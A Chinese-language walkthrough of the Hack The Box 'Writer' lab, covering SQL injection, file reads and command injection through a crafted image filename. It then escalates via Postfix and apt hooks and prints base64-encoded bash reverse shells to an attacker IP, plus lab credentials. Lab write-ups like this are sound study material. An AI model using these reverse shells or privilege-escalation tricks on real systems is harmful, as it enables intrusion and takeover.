└─# nmap --min-rate=1000 -sV -sC 10.10.11.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-21 05:40 EDT
Nmap scan report for 10.10.11.101
Host is up (0.24s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -6s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-10-21T09:40:18
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.42 seconds
首先看下 smb是否有未授权
# smbclient -L -N \\\\10.10.11.101\\IPC$
do_connect: Connection to -N failed (Error NT_STATUS_NOT_FOUND)
# smbclient -L \\\\10.10.11.101\\
enter WORKGROUP\root's password: [空]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
writer2_project Disk
IPC$ IPC IPC Service (writer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
smbmap -u '' -p '' -R -H 10.10.11.101
发现有一个IPC$连接。但是没有权限进行连接,还有一个项目writer2_project,和一个打印机驱动
看下web服务器,能访问。扫描一下目录是有个logout应该是有后台的 ,
[05:46:34] 200 - 3KB - /about
[05:46:50] 200 - 1KB - /administrative
[05:47:06] 200 - 5KB - /contact
[05:47:07] 302 - 208B - /dashboard -> http://10.10.11.101/
[05:47:27] 302 - 208B - /logout -> http://10.10.11.101/
[05:47:46] 403 - 277B - /server-status
[05:47:46] 403 - 277B - /server-status/
[05:47:50] 301 - 313B - /static -> http://10.10.11.101/static/
通过目录爆破找到后台
由于没有验证码。尝试爆破弱密码,没有结果。
尝试使用sql注入。发现在uname字段存在字符型注入。
使用sqlmap
sqlmap -u "http://10.10.11.101/administrative" --data "uname=*&password=admin" --flush-session
数据库权限是:admin
用户也不是数据库管理员。
尝试读取文件,发现可以读取/etc/passwd文件中有,四个可以登陆的用户root、kyle、filter、john
root:x:0:0:root:/root:/bin/bash
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
后台翻了一遍,stories的修改处和settings里都有文件上传,但限制了jpg后缀(服务端检测)。苦思良久绕不过去。
还有一个更新文本的功能,尝试一下php三种插入
<script language="php">echo("test");</script>
<? echo 123;?>
<?php phpinfo();?>
发现都不行。。。头大。
回到文件读取漏洞。尝试多读一些配置文件。
在网上随便找了一些目录 ,没什么有用信息
尝试使用关键词搜索
访问一下果然
想到的文件太少了。没办法了。无奈 。自己搭建一下 服务器。
ubuntu:apt install apache2
root@ubuntu:/etc/apache2# tree
.
├── apache2.conf
├── conf-available
│ ├── charset.conf
│ ├── javascript-common.conf
│ ├── localized-error-pages.conf
│ ├── other-vhosts-access-log.conf
│ ├── security.conf
│ └── serve-cgi-bin.conf
├── conf-enabled
│ ├── charset.conf -> ../conf-available/charset.conf
│ ├── localized-error-pages.conf -> ../conf-available/localized-error-pages.conf
│ ├── other-vhosts-access-log.conf -> ../conf-available/other-vhosts-access-log.conf
│ ├── security.conf -> ../conf-available/security.conf
│ └── serve-cgi-bin.conf -> ../conf-available/serve-cgi-bin.conf
├── envvars
├── magic
├── mods-available
│ ...
│ └── xml2enc.load
├── mods-enabled
│ ├── access_compat.load -> ../mods-available/access_compat.load
│ ├── alias.conf -> ../mods-available/alias.conf
│ ├── alias.load -> ../mods-available/alias.load
│ ├── auth_basic.load -> ../mods-available/auth_basic.load
│ ├── authn_core.load -> ../mods-available/authn_core.load
│ ├── authn_file.load -> ../mods-available/authn_file.load
│ ├── authz_core.load -> ../mods-available/authz_core.load
│ ├── authz_host.load -> ../mods-available/authz_host.load
│ ├── authz_user.load -> ../mods-available/authz_user.load
│ ├── autoindex.conf -> ../mods-available/autoindex.conf
│ ├── autoindex.load -> ../mods-available/autoindex.load
│ ├── deflate.conf -> ../mods-available/deflate.conf
│ ├── deflate.load -> ../mods-available/deflate.load
│ ├── dir.conf -> ../mods-available/dir.conf
│ ├── dir.load -> ../mods-available/dir.load
│ ├── env.load -> ../mods-available/env.load
│ ├── filter.load -> ../mods-available/filter.load
│ ├── mime.conf -> ../mods-available/mime.conf
│ ├── mime.load -> ../mods-available/mime.load
│ ├── mpm_event.conf -> ../mods-available/mpm_event.conf
│ ├── mpm_event.load -> ../mods-available/mpm_event.load
│ ├── negotiation.conf -> ../mods-available/negotiation.conf
│ ├── negotiation.load -> ../mods-available/negotiation.load
│ ├── reqtimeout.conf -> ../mods-available/reqtimeout.conf
│ ├── reqtimeout.load -> ../mods-available/reqtimeout.load
│ ├── setenvif.conf -> ../mods-available/setenvif.conf
│ ├── setenvif.load -> ../mods-available/setenvif.load
│ ├── status.conf -> ../mods-available/status.conf
│ └── status.load -> ../mods-available/status.load
├── ports.conf
├── sites-available
│ ├── 000-default.conf
│ └── default-ssl.conf
└── sites-enabled
└── 000-default.conf -> ../sites-available/000-default.conf
6 directories, 188 files
一个一个读,在最后一个文件绝对路径在/etc/apache2/sites-available/000-default.conf中存在一个/var/www/writer.htb/writer.wsgi的文件。
有经验的师傅可能知道,apache默认有一个文件是可以看到web的目录的:/etc/apache2/sites-enabled/000-default.conf
wsgi是一个全称Python Web Server Gateway Interface,指定了web服务器和Python web应用或web框架之间的标准接口,以提高web应用在一系列web服务器间的移植性。具体可查看 官方文档
获取该文件,内容如下
#!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
发现导入了一个python包。毫无头绪。。。尝试读取__init__.py文件。
根据python的类引用的特性,发现当前目录下可能存在一个`writer/__init__.py的文件,即绝对路径为/var/www/writer.htb/writer/__init__.py的文件。
读取一下,发现这个文件写的使用使用flask接口。美化后的源码如下:
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')#数据库信息
return connector
except mysql.connector.Error as err:
else:
print ('Connection to DB is ready!')
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
##########################################################
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))#直接填充命令
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
#####################################################
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('edit.html', results=results, id=id)
@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')
if __name__ == '__main__':
app.run("0.0.0.0")
关键代码在两行#中间,比较简单,直接调用了系统命令。那就比较简单了,就是在文件名中进行命令拼接,且满足以下几个条件。
存在参数image_url,且该参数中存在字符.jpg
因为中间打开了图片,如果程序抛出异常将会结束程序
由于使用了urllib.request.urlretrieve,可以使用file协议。直接绝对路径读取
所以上传的木马必须是图片,必须是可以命名的。
01.jpg`bash -i >& /dev/tcp/10.10.14.14/4444 0>&1`
测试发现不行。。无法使用一些\/&等符号,尝试进行编码
尝试使用编码
└─# echo -n "/bin/bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"|base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0LzQ0NDQgMD4mMQ==
再做一个恶意文件名的文件
touch '3.jpg`echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvNDQ0NCAwPiYxJw==|base64 -d|bash`'
复制一个图片。。来了
file:///var/www/writer.htb/writer/static/img/3.jpg`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0LzQ0NDQgMD4mMQ==|base64 -d|bash`
发现用户john里什么也没有。。。另一个用户有user.txt文件,但是没有权限。
此时,有两条思路,爆破用户kyle,或者找到保存的密码。密码就找数据库。
乱翻。。。
还发现了一个root 发给www-data的邮箱
这个邮件说,执行一个定时任务。
发现一个mysql服务,在web目录找了好长时间没找到配置文件。尝试在/etc/目录找找。。在/etc/mysql/发现几个配置文件。有账户号和密码。
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
获取auth_user表,发现只有一个用户kyle。
MariaDB [dev]> select password,username from auth_user;
select password,username from auth_user;
+------------------------------------------------------------------------------------------+----------+
| password | username |
+------------------------------------------------------------------------------------------+----------+
| pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | kyle |
+------------------------------------------------------------------------------------------+----------+
1 row in set (0.001 sec)
hash破解,这个密码没见过。前边的好像有规律,*_sha256抱着试一试的态度搜一搜,发现这个django的加密方法。破解
密码为marcoantonio
ssh [email protected]
marcoantonio
登录搞了半天,好像无法提权。。。
看看用户id发现有一个filter组权限
kyle@writer:/$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:/$ find / -group filter 2>/dev/null#
/etc/postfix/disclaimer/var/spool/filter
postfix是一个邮件服务器。
发现一个25端口开在本地,本地还有一个8080 ;做ssh代理到本地也没发现什么东西
kyle@writer:/etc/postfix$ netstat -antpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp 0 1 10.10.11.101:59482 1.1.1.1:53 SYN_SENT -
tcp 0 360 10.10.11.101:22 10.10.14.25:48326 ESTABLISHED -
tcp6 0 0 :::139 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::445 :::* LISTEN -
扫描一下,发现是一个smtp服务器
└─# nmap 127.0.0.1 -p 25 -sV -sC
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-09 03:32 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000031s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: writer.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=writer
| Subject Alternative Name: DNS:writer
| Not valid before: 2021-05-13T22:27:20
|_Not valid after: 2031-05-11T22:27:20
|_ssl-date: TLS randomness does not represent time
Service Info: Host: writer.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds
发现在john用户目录下发现了一个.ssh文件,无权限。
查看进程,上pspy64,发现一直循环执行以下这几个程序。一直把一些关键文件从root目录复制出来,感觉有点像php里的不死马。
pspy64看进程有高亮舒服一点。
/etc/postfix/main.cf 是Postfix服务的主配置文件。
/etc/postfix/master.cf 是master程序进程配置文件。
感觉比较关键的进程如下:
/bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer
/bin/sh -c /usr/bin/cp /root/.scripts/master.cf /etc/postfix/master.cf
/bin/sh -c /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer
/bin/sh -c /usr/bin/rm /tmp/*
/bin/sh -c /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} \;
/usr/bin/apt-get update
#可能有apt提权,前三种利用方式需要知道用户密码,没有密码,只能看/etc/apt/apt.conf.d/目录下是否可以写入。
查看master.cf文件内容
在/etc/postfix/master.cf文件里可以看到,将disclaimer的使用者指定为john,只要disclaimer被触发即是使用john身份,而disclaimer是filter组可读可写可执行。kyle也是filter组用户。所以写入反弹shell,执行。由于定时任务一直写入。所以需要与触发点同时运行。
触发点就是执行disclaimer邮箱服务器的
disclaimer_addresses文件中有两个Email地址。
python简单服务器
import smtplib
host = '127.0.0.1'
port = 25
sender_email = "[email protected]"
receiver_email = "[email protected]"
message = """ Hi there,I got it"""
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.sendmail(sender_email, receiver_email, message)
except Exception as e:
print(e)
finally:
server.quit()
获取权限
cp disclaimer /etc/postfix/disclaimer &&python3 1.py
然后把上面发现的查看john目录下发现了公私钥,使用私钥登录(要记得改权限)。
我们可以看到我们在管理组中,所以让我们看看我们可以访问哪些文件和目录
john@writer:/etc/apt$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d
john@writer:~$ ls -al /etc/apt/apt.conf.d
total 48
drwxrwxr-x 2 root management 4096 Nov 29 10:22 .
drwxr-xr-x 7 root root 4096 Jul 9 10:59 ..
-rw-r--r-- 1 root root 630 Apr 9 2020 01autoremove
-rw-r--r-- 1 root root 92 Apr 9 2020 01-vendor-ubuntu
-rw-r--r-- 1 root root 129 Dec 4 2020 10periodic
-rw-r--r-- 1 root root 108 Dec 4 2020 15update-stamp
-rw-r--r-- 1 root root 85 Dec 4 2020 20archive
-rw-r--r-- 1 root root 1040 Sep 23 2020 20packagekit
-rw-r--r-- 1 root root 114 Nov 19 2020 20snapd.conf
-rw-r--r-- 1 root root 625 Oct 7 2019 50command-not-found
-rw-r--r-- 1 root root 182 Aug 3 2019 70debconf
-rw-r--r-- 1 root root 305 Dec 4 2020 99update-notifier
文件夹management中可读、可写、可执行
配合进程中不断运行的apt update
可以尝试提权。由于不知道密码可尝试的运行方法只有一种,就是写入到/etc/apt/apt.conf.d/目录下
echo 'apt::Update::Pre-Invoke {"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQo=|base64 -d|bash"};' > /etc/apt/apt.conf.d/pwn
喜欢就请关注我们吧!